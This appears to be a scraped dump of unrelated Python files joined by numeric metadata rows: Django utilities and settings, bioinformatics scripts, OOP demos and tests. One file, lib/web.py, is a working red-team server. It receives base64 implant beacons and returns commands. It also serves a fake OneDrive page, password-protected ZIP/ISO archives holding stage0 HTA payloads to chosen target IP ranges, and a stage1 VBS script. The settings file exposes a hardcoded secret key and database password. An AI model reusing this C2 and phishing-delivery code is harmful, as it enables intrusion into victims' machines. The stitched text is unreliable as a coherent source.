# ------------------------------------------------------------------------ # coding=utf-8 # $Id$ # ------------------------------------------------------------------------ from django.core.management.base import NoArgsCommand from django.db import transaction from feincms.module.page.models import Page class Command(NoArgsCommand): help = "Run this manually to rebuild your mptt pointers. Only use in emergencies." @staticmethod def seq(start = 1): """ Returns an ever-increasing stream of numbers. The starting point can be freely defined. """ while True: yield start start += 1 @transaction.commit_manually def handle_noargs(self, **options): print "Rebuilding MPTT pointers for Page" root = 1 changes = set() for page in Page.objects.filter(parent__isnull=True).order_by('tree_id'): print " Processing subtree %d at %s" % ( page.tree_id, page.slug ) page.tree_id = root # Renumber tree_id for good measure self.renumber_mptt_tree(page, self.seq(1)) root += 1 transaction.commit() def renumber_mptt_tree(self, obj, edge_count): obj.lft = edge_count.next() for c in obj.children.order_by('lft', 'rght').all(): self.renumber_mptt_tree(c, edge_count) obj.rght = edge_count.next() obj.save()

31.688889

86

0.557504

165

1,426

4.69697

0.551515

0.030968

0.061935

0.051613

0

0.005639

0.253857

1,426

45

87

31.688889

0.722744

0.138149

0

0.134842

0

null

0

0.111111

null

0.074074

0

null

0

null

0

1

0

1

a9b8dcffe0bf3a7f1f0315dd52f8c586577a6eeb

3,503

py

Python

scripts/train_all.py

davek44/Glimmer-MG

ced287371a118ff403e0a5c09735c154cffa34ec

[ "Artistic-1.0" ]

5

2017-08-19T23:38:14.000Z

2021-02-08T23:23:57.000Z

scripts/train_all.py

davek44/Glimmer-MG

ced287371a118ff403e0a5c09735c154cffa34ec

[ "Artistic-1.0" ]

2

2015-10-31T19:54:37.000Z

2018-06-05T21:47:12.000Z

scripts/train_all.py

davek44/Glimmer-MG

ced287371a118ff403e0a5c09735c154cffa34ec

[ "Artistic-1.0" ]

5

2020-02-11T14:55:43.000Z

2021-10-08T13:41:25.000Z

#!/usr/bin/env python from optparse import OptionParser, SUPPRESS_HELP import glob, os, time, subprocess, sys ################################################################################ # train_all.py # # Run train_gbk in parallel on the gbk files defined by the glob ################################################################################ scripts_dir = os.path.abspath(os.path.dirname(sys.argv[0])) genomes_dir = os.path.abspath('%s/../phymm/.genomeData' % scripts_dir) ################################################################################ # main ################################################################################ def main(): usage = 'usage: %prog [options] arg' parser = OptionParser(usage) parser.add_option('-p', dest='proc', type='int', default=2, help='Number of CPUs to utilize [default: %default]') parser.add_option('-l','--min_length', dest='min_length', default=0, help='Minimum length of gene (and ORF) to consider [default: %default]') parser.add_option('-o','--max_overlap', dest='max_overlap', default=0, help='Maximum overlap of two genes (or gene and ORF) to consider [default: %default]') parser.add_option('-u','--undone', dest='undone', default=False, action='store_true', help='Only train for organisms that are not yet done') # run on Condor grid parser.add_option('--condor', dest='condor', default=False, action='store_true', help=SUPPRESS_HELP) (options,args) = parser.parse_args() cmds = [] for gbk_file in glob.glob('%s/*/*.gbk' % genomes_dir): if options.min_length: ml = '-l %d ' % options.min_length else: ml = '' if options.max_overlap: mo = '-o %d' % options.max_overlap else: mo = '' if not options.undone or not os.path.isfile('%s.lengths.genes.txt' % gbk_file[:-4]): cmd = '%s/train_features.py %s%s--gbk %s --min_icm 2000' % (scripts_dir, ml, mo, gbk_file) if options.condor: cmds.append('runCmd -c "%s"' % cmd) else: cmds.append(cmd) exec_par(cmds, options.proc, print_cmd=True) ############################################################ # exec_par # # Execute the commands in the list 'cmds' in parallel, but # only running 'max_proc' at a time. ############################################################ def exec_par(cmds, max_proc, print_cmd=False): total = len(cmds) finished = 0 running = 0 p = [] while finished + running < total: # launch jobs up to max while running < max_proc and finished+running < total: if print_cmd: print cmds[finished+running] p.append(subprocess.Popen(cmds[finished+running], shell=True)) #print 'Running %d' % p[running].pid running += 1 # are any jobs finished new_p = [] for i in range(len(p)): if p[i].poll() != None: running -= 1 finished += 1 else: new_p.append(p[i]) # if none finished, sleep if len(new_p) == len(p): time.sleep(1) p = new_p # wait for all to finish for i in range(len(p)): p[i].wait() ################################################################################ # __main__ ################################################################################ if __name__ == '__main__': main()

36.113402

161

0.489009

403

3,503

4.114144

0.349876

0.027141

0.045235

0.041616

0.132087

0.114596

0.059107

0

0.005527

0.225236

3,503

96

162

36.489583

0.60538

0.101627

0

0.109091

0

0.198341

0.009087

0

null

0

0.036364

null

0.072727

0

null

0

null

0

1

0

1

a9baeece1ff7b0efd040bc3d5f266b8de85277ad

711

py

Python

pyoop/3/2.py

yc19890920/Learn

3990e75b469225ba7b430539ef9a16abe89eb863

[ "Apache-2.0" ]

1

2021-01-11T06:30:44.000Z

pyoop/3/2.py

yc19890920/Learn

3990e75b469225ba7b430539ef9a16abe89eb863

[ "Apache-2.0" ]

23

2020-02-12T02:35:49.000Z

2022-02-11T03:45:40.000Z

pyoop/3/2.py

yc19890920/Learn

3990e75b469225ba7b430539ef9a16abe89eb863

[ "Apache-2.0" ]

2

2020-04-08T15:39:46.000Z

2020-10-10T10:13:09.000Z

class Fjs(object): def __init__(self, name): self.name = name def hello(self): print("said by : ", self.name) def __getattr__(self, item): print("访问了特性1：" + item) return None raise AttributeError def __setattr__(self, key, value): print("访问了特性2：" + key) self.__dict__[key] = value def __getattribute__(self, item): print("访问了特性3：" + item) return object.__getattribute__(self, item) fjs = Fjs("fjs") print(fjs.name ) print('-------------1-------') fjs.hello() print('--------------2------') fjs.bb """ 访问了特性：name fjs ---------------2----- 访问了特性：hello 访问了特性：name said by : fjs """

20.314286

51

0.516174

78

711

4.397436

0.371795

0.069971

0.075802

0

0.01165

0.275668

711

35

52

20.314286

0.654369

0

0.127517

0.07047

0

1

0.238095

false

0

0.380952

0.333333

0

null

0

null

0

1

0

1

a9baf5b8fb6aa410e1d594792ef195718d84e1d0

3,679

py

Python

king_blog/settings.py

pythonyhd/django_blog

285800df723ede53bc8b827bd9d3c6ee11bba07a

[ "Apache-2.0" ]

2

2019-12-04T05:36:40.000Z

2020-01-20T06:52:20.000Z

king_blog/settings.py

pythonyhd/django_blog

285800df723ede53bc8b827bd9d3c6ee11bba07a

[ "Apache-2.0" ]

9

2021-04-08T21:59:16.000Z

2022-03-12T00:48:24.000Z

king_blog/settings.py

pythonyhd/django_blog

285800df723ede53bc8b827bd9d3c6ee11bba07a

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- import os import sys BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) sys.path.insert(0, os.path.join(BASE_DIR, 'apps')) sys.path.insert(0, os.path.join(BASE_DIR, 'extra_apps')) # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'l==+c9e&r^#@%^y1=l9m7ki!lyc^vcdefnyu#(k7$o21&j%%h$' DEBUG = True ALLOWED_HOSTS = [] INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'blog', 'users', # 后台管理修改成xadmin 'xadmin', 'crispy_forms', 'import_export', # 富文本编辑器 'ckeditor', # 文件上传 'ckeditor_uploader', # 登录注册简单验证码库 'captcha', # 分页 # 'pure_pagination', ] AUTH_USER_MODEL = 'users.UserProfile' # Django使用两个app创建外键时对‘auth.User’产生了多对多的依赖所以报错 # 自定义后台登录认证 AUTHENTICATION_BACKENDS = ( 'users.views.CustomBackends', ) MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'king_blog.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(BASE_DIR, 'templates')] , 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', # 对html里面的图片地址做注册，防止HTML页面找不到media，2.2版本放到template目录 # 'django.template.context_processors.media', ], }, }, ] WSGI_APPLICATION = 'king_blog.wsgi.application' # Database DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', 'NAME': 'blog', 'USER': 'root', 'PASSWORD': '123456', 'HOST': '127.0.0.1', 'PORT': '3306', # 'OPTIONS': { # "init_command": "SET foreign_key_checks = 0;", # } } } AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # LANGUAGE_CODE = 'zh-Hans' LANGUAGE_CODE = 'zh-hans' # 使用ckeditor的时候，大写后台显示繁体，修改小写之后恢复简体 TIME_ZONE = 'Asia/Shanghai' USE_I18N = True USE_L10N = True USE_TZ = False # 跟本地时间同步，否则会应用UTC时间 # Static files (CSS, JavaScript, Images) # 放静态文件，css，JS，等等 STATIC_URL = '/static/' STATICFILES_DIRS = [ os.path.join(BASE_DIR, 'static') ] # 图片上传路径，跟前端页面配合使用，上传文件目录 MEDIA_URL = '/media/' MEDIA_ROOT = os.path.join(BASE_DIR, 'media') # 富文本编辑器文件上传路径 CKEDITOR_UPLOAD_PATH = 'uploads/' CKEDITOR_JQUERY_URL = 'https://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js' CKEDITOR_IMAGE_BACKEND = 'pillow' CKEDITOR_CONFIGS = { 'default': { 'toolbar': 'full', # 添加按钮在这里 'toolbar_Custom': [ ['Blockquote', 'CodeSnippet'], ], }, }

23.735484

91

0.642838

368

3,679

6.266304

0.494565

0.084562

0.051605

0.030356

0.133998

0.112749

0.026886

0

0.012418

0.212014

3,679

155

92

23.735484

0.783029

0.148954

0

0.039604

0

0.019802

0.48439

0.337625

0

1

0

false

0.059406

0.029703

0

0.029703

0

null

0

null

0

1

0

1

a9bb0ce38a5e1cd7f5653a82cd103752babbcf87

1,686

py

Python

nfsops/configurations/restore.py

nfsops/nfsops

d7b6fc12c5a1845f468e2737fad7031fd37bd3f2

[ "BSD-3-Clause" ]

null

nfsops/configurations/restore.py

nfsops/nfsops

d7b6fc12c5a1845f468e2737fad7031fd37bd3f2

[ "BSD-3-Clause" ]

null

nfsops/configurations/restore.py

nfsops/nfsops

d7b6fc12c5a1845f468e2737fad7031fd37bd3f2

[ "BSD-3-Clause" ]

null

''' Restore configuration model. ''' from typing import Any, Dict, Literal, Optional, Union from pydantic import NonNegativeInt, validator from .configuration import Configuration class RestoreConfiguration(Configuration): ''' Restore configuration model. ''' #: Configuration type. type: Literal['restore'] = 'restore' #: Single/initial backup version. version: Union[Literal['*'], NonNegativeInt] #: Final backup version. final_version: Optional[Union[Literal['*'], NonNegativeInt]] = None @validator('final_version', always=True) @classmethod def validate_root_template( cls, value: Optional[Union[Literal['*'], NonNegativeInt]], values: Dict[str, Any] ) -> Optional[Union[Literal['*'], NonNegativeInt]]: ''' Return original value if the range of backup versions is valid, raise exception otherwise. Parameters: value (Optional[Union[Literal['*'], NonNegativeInt]]): Final backup version or `None`. values (Dict[str, Any]): Dictionary containing all parameter values. Returns: Optional[Union[Literal['*'], NonNegativeInt]]: A valid final backup version. Raises: ValueError: Expected range of backup versions is invalid. ''' if value is None: return value if isinstance(value, str) or isinstance(values['version'], str): return value if value < values['version']: raise ValueError( 'parameter value must be greater than "version" value.' ) return value __all__ = [ 'RestoreConfiguration' ]

27.639344

98

0.627521

162

1,686

6.481481

0.388889

0.074286

0.148571

0.161905

0.177143

0.08381

0

0.265718

1,686

60

99

28.1

0.848142

0.333333

0

0.115385

0

0.116601

0

1

0.038462

false

0

0.115385

0

0.423077

0

null

0

1

0

null

0

1

a9bfb46007f2c7a7b605b92de35a99c3a1fced0d

1,306

py

Python

tests/test_metrics.py

vzhong/wrangl

8cc6cbda83908375649ecff8f3f81eab9a636636

[ "Apache-2.0" ]

9

2021-09-01T05:54:01.000Z

2021-11-03T08:32:21.000Z

tests/test_metrics.py

vzhong/wrangl

8cc6cbda83908375649ecff8f3f81eab9a636636

[ "Apache-2.0" ]

null

tests/test_metrics.py

vzhong/wrangl

8cc6cbda83908375649ecff8f3f81eab9a636636

[ "Apache-2.0" ]

null

import unittest from wrangl import metrics as M class TestMetrics(unittest.TestCase): def test_accuracy(self): m = M.Accuracy() self.assertTrue(m.single_forward('foo', 'foo')) self.assertFalse(m.single_forward('foo', 'bar')) self.assertDictEqual(dict(accuracy=0.5), m.forward([('foo', 'foo'), ('foo', 'bar')])) def test_precision(self): m = M.Precision() self.assertEqual(0.25, m.single_forward({1, 2}, {2, 4, 5, 6})) self.assertEqual(1, m.single_forward({1, 2, 4, 5}, {1, 4})) self.assertDictEqual(dict(precision=1.25/2), m.forward([({1, 2}, {2, 4, 5, 6}), ({1, 2, 4, 5}, {1, 4})])) def test_recall(self): m = M.Recall() self.assertEqual(0.5, m.single_forward({1, 2}, {2, 4, 5, 6})) self.assertEqual(0.5, m.single_forward({1, 2, 4, 5}, {1, 4})) self.assertDictEqual(dict(recall=0.5), m.forward([({1, 2}, {2, 4, 5, 6}), ({1, 2, 4, 5}, {1, 4})])) def test_f1(self): m = M.F1Score() a = 2*0.5*0.25/0.75 b = 2*0.5/1.5 self.assertEqual(a, m.single_forward({1, 2}, {2, 4, 5, 6})) self.assertEqual(b, m.single_forward({1, 2, 4, 5}, {1, 4})) self.assertDictEqual(dict(f1score=(a+b)/2), m.forward([({1, 2}, {2, 4, 5, 6}), ({1, 2, 4, 5}, {1, 4})]))

40.8125

113

0.542879

217

1,306

3.211982

0.170507

0.034433

0.05165

0.129125

0.472023

0.444763

0

0.104536

0.223583

1,306

31

114

42.129032

0.58284

0

0.018377

0

0.48

1

0.16

false

0

0.08

0

0.28

0

null

0

null

0

1

0

1

a9c994abd4d5787cc770b409bf0ea0c4399fdfc2

8,783

py

Python

lib/web.py

magnusstubman/mal00

e99cad410657bf0452cae02d81d89c211732a789

[ "MIT" ]

3

2021-03-29T13:28:31.000Z

2021-10-12T09:33:14.000Z

lib/web.py

magnusstubman/mal00

e99cad410657bf0452cae02d81d89c211732a789

[ "MIT" ]

null

lib/web.py

magnusstubman/mal00

e99cad410657bf0452cae02d81d89c211732a789

[ "MIT" ]

1

2021-04-05T10:19:34.000Z

import os import ssl import ipaddress import hashlib from ipaddress import * import asyncio import pyminizip import base64 import datetime from time import gmtime, strftime from aiohttp import web import urllib.parse from shutil import copyfile import sys import pycdlib from io import BytesIO stage0UrlPrefix = '/documents/lang/' stage1UrlPrefix = '/documents/grammar/' onedriveUrlPrefix = '/onedrive/auth/' def createGETCallback(cb): global callback callback = cb async def handleWeb(request): data = request.match_info.get('data', '') try: data = urllib.parse.unquote(data) data = base64.b64decode(data) except: return web.Response(status=404, content_type='text/html', headers={'Server': 'Apache/2.4'}) peername = request.transport.get_extra_info('peername') if peername is not None: host, port = peername global callback ret = callback(data, host) if ret: ret = str(base64.b64encode(ret),'ascii') return web.Response(text=ret, content_type='text/html', headers={'Server': 'Apache/2.4'}) return web.Response(status=200, content_type='text/html', headers={'Server': 'Apache/2.4'}) return handleWeb def createPOSTCallback(cb): global callback callback = cb async def handleWeb(request): if request.can_read_body: data = await request.read() data = str(data, 'utf-8') #try: if '%' in data: data = urllib.parse.unquote(data) data = base64.b64decode(data) #except: # return web.Response(status=404, headers={'Server': 'Apache/2.4'}) peername = request.transport.get_extra_info('peername') if peername is not None: host, port = peername global callback ret = callback(data, host) if ret: ret = str(base64.b64encode(ret),'ascii') return web.Response(text=ret, headers={'Server': 'Apache/2.4'}) return web.Response(status=200, headers={'Server': 'Apache/2.4'}) return handleWeb def log(request, s): ua = '' try: if (request.headers["User-Agent"]): ua = request.headers["User-Agent"] except Exception as e: pass peername = request.transport.get_extra_info('peername') host = '' if peername is not None: host, port = peername t = strftime("%Y-%m-%d %H:%M:%S", gmtime()) #print(str(datetime.datetime.now().isoformat()) + ' ' + host + ' ' + s + ' ' + ua) print(t + ' ' + host + ' ' + s + ' ' + ua) async def handleTelemetry(request): data = request.match_info.get('data', '') log(request, 'telemetry: ' + data) from pathlib import Path png = Path('tracking.png').read_bytes() return web.Response(body=png, status=200, content_type='image/png', headers={'Server': 'Apache/2.4'}) async def handleMalware(request): data = request.match_info.get('data', '') log(request, 'malware: ' + data) #from pathlib import Path #txt = Path('implants/hta/build/implant.html').read_text() txt = "404" return web.Response(text=txt, status=200, content_type='text/html', headers={'Server': 'Apache/2.4'}) def isInTargetRange(request): filename = 'target-ranges.txt' if not os.path.exists(filename): return True peername = request.transport.get_extra_info('peername') host = '' if peername is not None: host, port = peername for line in open(filename, 'r').readlines(): line = line.replace('\n','').replace(' ','') if line == '': continue if ipaddress.ip_address(host) in ipaddress.ip_network(line): return True return False async def handleStage0(request): password = request.match_info.get('password', '') filename = request.match_info.get('filename', '').replace('.','').replace('/','').replace('\\','') if not isInTargetRange(request): log(request, 'STAGE0 NOT TARGET RANGE! password: ' + password + ' filename: ' + filename) copyfile('benign.txt', filename + '.txt') pyminizip.compress(filename + '.txt', None, filename + '.zip', None, 3) else: log(request, 'STAGE0 password: ' + password + ' filename: ' + filename + '.zip') copyfile('stage0.hta', filename + '.hta') # create iso with stage0 hta inside f = open(filename + '.hta', 'rb') fileData = f.read() f.close() fileName = filename + '.hta' level1name = fileName.replace('.','').replace('-','').upper()[0:8] iso = pycdlib.PyCdlib() iso.new(joliet=3) iso.add_fp(BytesIO(fileData), len(fileData), '/' + level1name + '.;1', joliet_path='/' + fileName) iso.write(filename + '.iso') iso.close() if password == '0': password = None pyminizip.compress(filename + '.hta', None, filename + '.zip', password, 3) #pyminizip.compress(filename + '.iso', None, filename + '.zip', password, 3) if os.path.exists(filename + '.hta'): os.remove(filename + '.hta') if os.path.exists(filename + '.iso'): os.remove(filename + '.iso') ret = b''.join(open(filename + '.zip','rb').readlines()) #ret = b''.join(open(filename + '.iso','rb').readlines()) m = hashlib.md5() m.update(ret) md5sum = m.hexdigest() print('serving zip with md5sum: ' + md5sum) if os.path.exists(filename + '.zip'): os.remove(filename + '.zip') h = { 'accept-ranges': 'bytes', #'Content-Type': 'application/octetstream; charset=utf-8', 'Content-Disposition': 'attachment; filename="' + filename + '.zip"', 'Content-Type': 'application/zip'} #'Content-Disposition': 'attachment; filename="' + filename + '.iso"' } return web.Response(body=ret, status=200, headers=h) async def handleStage1(request): h = { 'Server': 'Apache/2.4', 'Content-Type': 'text/plain; charset=utf-8'} if not isInTargetRange(request): log(request, 'STAGE1 NOT TARGET RANGE! Serving nothing') return web.Response(text='', status=404, headers=h) data = request.match_info.get('data', '') log(request, 'STAGE1 ' + data) ret = ''.join(open('stage1.vbs','r').readlines()) return web.Response(text=ret, status=200, headers=h) async def handle404(request): log(request, '404 ' + request.url) h = { 'Server': 'Apache/2.4' } return web.Response(status=404, headers=h) @web.middleware async def error_middleware(request, handler): response = await handler(request) if response.status != 404: return response log(request, '404 ' + str(request.url)) h = { 'Server': 'Apache/2.4' } return web.Response(status=404, headers=h) async def handleOnedrive(request): password = request.match_info.get('password', '') filename = request.match_info.get('filename', '').replace('.','').replace('/','').replace('\\','') #if not isInTargetRange(request): log(request, 'ONEDRIVE password: ' + password + ' filename: ' + filename) ret = ''.join(open('onedrive.html','r').readlines()) ret = ret.replace('DOWNLOADURLGOESHERE', stage0UrlPrefix + password + '/' + filename) ret = ret.replace('FILENAMEGOESHERE', filename + '.zip') h = { 'Server': 'Apache/2.4', 'Content-Type': 'text/html; charset=utf-8'} return web.Response(text=ret, status=200, headers=h) async def startWebServer(cb): try: app = web.Application(middlewares=[error_middleware]) #app = web.Application() app.add_routes([web.get('/{data}', createGETCallback(cb))]) app.add_routes([web.post('/{data}', createPOSTCallback(cb))]) #app.add_routes([web.get('/telemetry/{data}', handleTelemetry)]) #app.add_routes([web.get('/delivery/{data}', handleMalware)]) app.add_routes([web.get(stage0UrlPrefix + '{password}/{filename}', handleStage0)]) app.add_routes([web.get(stage1UrlPrefix + '{data}', handleStage1)]) app.add_routes([web.get(onedriveUrlPrefix + '{password}/{filename}', handleOnedrive)]) #app.add_routes([web.static('/en', 'static')]) #error_middleware = error_pages({404: handle404}) #app.middlewares.append(error_middleware) runner = web.AppRunner(app) await runner.setup() if os.path.isfile('fullchain.pem') and os.path.isfile('privkey.pem'): print('fullchain.pem and privkey.pem found.') ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) ssl_ctx.load_cert_chain(certfile='fullchain.pem', keyfile='privkey.pem') ssl_site = web.TCPSite(runner, '0.0.0.0', 443, ssl_context=ssl_ctx) await ssl_site.start() print('TLS/SSL web server started on 0.0.0.0:443') else: print('fullchain.pem and privkey.pem not found. Cannot start SSL/TLS. Maybe have a go at certbot certonly --register-unsafely-without-email ?') site = web.TCPSite(runner, '0.0.0.0', 80) await site.start() print('cleartext HTTP web server started on 0.0.0.0:80') except asyncio.CancelledError: print('web server stopped.') runner.cleanup()

30.496528

151

0.648981

1,102

8,783

5.125227

0.217786

0.022309

0.042139

0.029745

0.434313

0.354639

0.337465

0.327727

0.285234

0.248584

0

0.022405

0.181829

8,783

287

152

30.602787

0.763568

0.096095

0

0.305699

0

0.005181

0.174852

0.009469

0

1

0.020725

false

0.062176

0.088083

0

0.207254

0.036269

0

null

0

null

0

1

0

1

a9e1cd974191f082d23c243943f48186cd1b8939

526

py

Python

paddle/za/test/test2.py

hth945/pytest

83e2aada82a2c6a0fdd1721320e5bf8b8fd59abc

[ "Apache-2.0" ]

null

paddle/za/test/test2.py

hth945/pytest

83e2aada82a2c6a0fdd1721320e5bf8b8fd59abc

[ "Apache-2.0" ]

null

paddle/za/test/test2.py

hth945/pytest

83e2aada82a2c6a0fdd1721320e5bf8b8fd59abc

[ "Apache-2.0" ]

null

# 导入图像读取第三方库 import matplotlib.image as mpimg import matplotlib.pyplot as plt import cv2 import numpy as np from PIL import Image import paddle import paddle.fluid as fluid from paddle.fluid.dygraph.nn import Linear # 读取图像 img1 = cv2.imread('./work/example_0.png') example = mpimg.imread('./work/example_0.png') # 显示图像 plt.imshow(example) plt.show() im = Image.open('./work/example_0.png').convert('L') print(np.array(im).shape) im = im.resize((28, 28), Image.ANTIALIAS) plt.imshow(im) plt.show() print(np.array(im).shape)

21.04

52

0.745247

87

526

4.471264

0.436782

0.084833

0.092545

0.115681

0.205656

0

0.021322

0.108365

526

24

53

21.916667

0.808102

0.038023

0

0.222222

0

0.122

0

1

0

false

0

0.444444

0

0.444444

0.111111

0

null

0

null

0

1

0

1

a9e2d4d4133cf7c6e57e29e82707a4430f60649a

253

py

Python

solution/1978(소수 찾기).py

OMEGA-Y/Baekjoon-sol

9eaa441e482a0967fb60a9ea1d1373be00272c34

[ "Apache-2.0" ]

null

solution/1978(소수 찾기).py

OMEGA-Y/Baekjoon-sol

9eaa441e482a0967fb60a9ea1d1373be00272c34

[ "Apache-2.0" ]

null

solution/1978(소수 찾기).py

OMEGA-Y/Baekjoon-sol

9eaa441e482a0967fb60a9ea1d1373be00272c34

[ "Apache-2.0" ]

null

input() num = set(map(int,input().split())) prime = set([i for i in range(3,max(num)+1,2)]) for i in range(3,max(num)+1,2): if i in prime: prime -= set([i for i in range(i*2,max(num)+1,i)]) prime.add(2) print(len(num.intersection(prime)))

23

58

0.604743

53

253

2.886792

0.377358

0.078431

0.117647

0.215686

0.45098

0.261438

0

0.042654

0.166008

253

11

59

23

0.682464

0

1

0

false

0

0.125

0

null

0

1

0

null

0

1

a9ebdaac7c9edcbc0581cbaab45f4e0459e8dc59

2,237

py

Python

sandbox/system_id.py

MrRubyRed/MBRL

fa8e357325611fd8431ce3be5e97592011f010c6

[ "BSD-3-Clause" ]

null

sandbox/system_id.py

MrRubyRed/MBRL

fa8e357325611fd8431ce3be5e97592011f010c6

[ "BSD-3-Clause" ]

null

sandbox/system_id.py

MrRubyRed/MBRL

fa8e357325611fd8431ce3be5e97592011f010c6

[ "BSD-3-Clause" ]

null

""" Demo of system identification on an inverted pendulum, using one step dynamics. @author: David Fridovich-Keil @email: dfk@eecs.berkeley.edu """ import gym import tensorflow as tf from mbrl.dynamics.dynamics import Dynamics import numpy as np import pickle # Make a gym environment. env = gym.make("Pendulum-v0") STATE_DIM = 3 ACTION_DIM = 1 # Create a Dynamics neural net. dyn = Dynamics(STATE_DIM, ACTION_DIM, [STATE_DIM + ACTION_DIM, 20, 10, STATE_DIM]) # Create loss functor (RMS error) and set up optimizer. rms = tf.sqrt(tf.reduce_mean(tf.reduce_sum(tf.square( tf.subtract(dyn.next_state_, dyn.output_)), 1, keep_dims=True))) learning_rate = 0.0005 momentum = 0.995 train_step = tf.train.MomentumOptimizer( learning_rate=learning_rate, momentum=momentum).minimize(rms) # Set up tf session. sess = tf.Session() init = tf.initialize_all_variables() sess.run(init) # Create a bunch of rollouts NUM_ROLLOUTS = 300 TIME_HORIZON = 20 states = np.zeros((NUM_ROLLOUTS * TIME_HORIZON, STATE_DIM)) actions = np.zeros((NUM_ROLLOUTS * TIME_HORIZON, ACTION_DIM)) targets = np.zeros((NUM_ROLLOUTS * TIME_HORIZON, STATE_DIM)) for ii in range(NUM_ROLLOUTS): s = env.reset() for jj in range(TIME_HORIZON): a = np.random.uniform(-2.0, 2.0, (1,)) states[ii*TIME_HORIZON + jj, :] = s actions[ii*TIME_HORIZON + jj, :] = a step = env.step(a) targets[ii * TIME_HORIZON + jj, :] = step[0] s = step[0] # Training. BATCH_SIZE = 20 NUM_TRAIN_STEPS = 10000 for ii in range(NUM_TRAIN_STEPS): indices = np.random.randint(NUM_ROLLOUTS * TIME_HORIZON, size=BATCH_SIZE) sess.run(train_step, feed_dict={dyn.state_ : states[indices], dyn.action_ : actions[indices], dyn.next_state_ : targets[indices]}) if np.mod(ii, 50) == 0: print("RMS error at iteration %d is %f" % (ii, sess.run(rms, feed_dict={dyn.state_ : states, dyn.action_ : actions, dyn.next_state_ : targets})))

32.897059

89

0.614215

302

2,237

4.370861

0.397351

0.075

0.045455

0.066667

0.134091

0.07803

0.056061

0

0.024104

0.27671

2,237

67

90

33.38806

0.791718

0

0.021875

0

null

0

0.113636

null

0.022727

0

null

0

null

0

1

0

1

a9ef792277870cfcaf48a94f7940475b75c67fba

2,572

py

Python

UpdatedImageProcessing/UpdatedImageProcessing/integrated_image_processing.py

liyu711/SUAS

2f6592fc2ab316475eeabe2f4828e5ba5c1a4b0b

[ "MIT" ]

null

UpdatedImageProcessing/UpdatedImageProcessing/integrated_image_processing.py

liyu711/SUAS

2f6592fc2ab316475eeabe2f4828e5ba5c1a4b0b

[ "MIT" ]

null

UpdatedImageProcessing/UpdatedImageProcessing/integrated_image_processing.py

liyu711/SUAS

2f6592fc2ab316475eeabe2f4828e5ba5c1a4b0b

[ "MIT" ]

null

import os import time import json from PIL import Image from .TargetDetection import * from .ShapeDetection import * from .Classifiers import * class IntegratedImageProcessing(object): @staticmethod def run_integrated_image_processing(target_map_path, image_save_path, json_save_path): target_detected = [] amount_of_target_maps_present = len(set(os.listdir(target_map_path))) - len(set(target_detected)) while (amount_of_target_maps_present > 0): print "Target Maps Left to Detect: " + str(amount_of_target_maps_present) for index_1 in range(len(set(os.listdir(target_map_path)))): current_target_map_name = os.listdir(target_map_path)[index_1] is_current_target_map_detected = False for index_2 in range(len(target_detected)): if (target_detected[index_2] == current_target_map_name): is_current_target_map_detected = True if (is_current_target_map_detected == False): target_detected.append(current_target_map_name) break combo_target_detection_result_list = SingleTargetMapDetector.detect_single_target_map(os.path.join(target_map_path, current_target_map_name)) single_target_crops = combo_target_detection_result_list[0] json_file = combo_target_detection_result_list[1] for index_3 in range(len(single_target_crops)): json_file["image_processing_results"][index_3]["target_index"] = index_3 + 1 current_crop_path = os.path.join(image_save_path, current_target_map_name + " - " + str(index_3 + 1) + ".png") single_target_crops[index_3].save(current_crop_path) shape_type = ShapeClassificationTwo(current_crop_path).get_shape_type() json_file["image_processing_results"][index_3]["target_shape_type"] = shape_type color_classifying_results = ColorClassifier(current_crop_path).get_color() shape_color = color_classifying_results[0] letter_color = color_classifying_results[1] json_file["image_processing_results"][index_3]["target_shape_color"] = shape_color json_file["image_processing_results"][index_3]["target_letter_color"] = letter_color with open(os.path.join(json_save_path, current_target_map_name + ".json"), 'w') as fp: json.dump(json_file, fp, indent=4) amount_of_target_maps_present -= 1

46.763636

153

0.681182

321

2,572

4.993769

0.249221

0.084217

0.089832

0.07486

0.401123

0.252651

0.179039

0.111042

0.05864

0

0.010714

0.237947

2,572

54

154

47.62963

0.807143

0

0.078927

0.037325

0

null

0

0.175

null

0.025

0

null

0

null

0

1

0

1

a9f04252a302db8ac6cb5f5e61ef42ac88be493e

645

py

Python

pytoolkit/datasets/voc_test.py

ak110/pytoolk

8eef7e0add7bbc0ced1f1f1d82ed245388cc6684

[ "MIT" ]

26

2018-12-03T23:02:56.000Z

2020-08-07T06:33:21.000Z

pytoolkit/datasets/voc_test.py

ak110/pytoolk

8eef7e0add7bbc0ced1f1f1d82ed245388cc6684

[ "MIT" ]

null

pytoolkit/datasets/voc_test.py

ak110/pytoolk

8eef7e0add7bbc0ced1f1f1d82ed245388cc6684

[ "MIT" ]

5

2019-08-10T11:10:59.000Z

2020-11-18T02:39:37.000Z

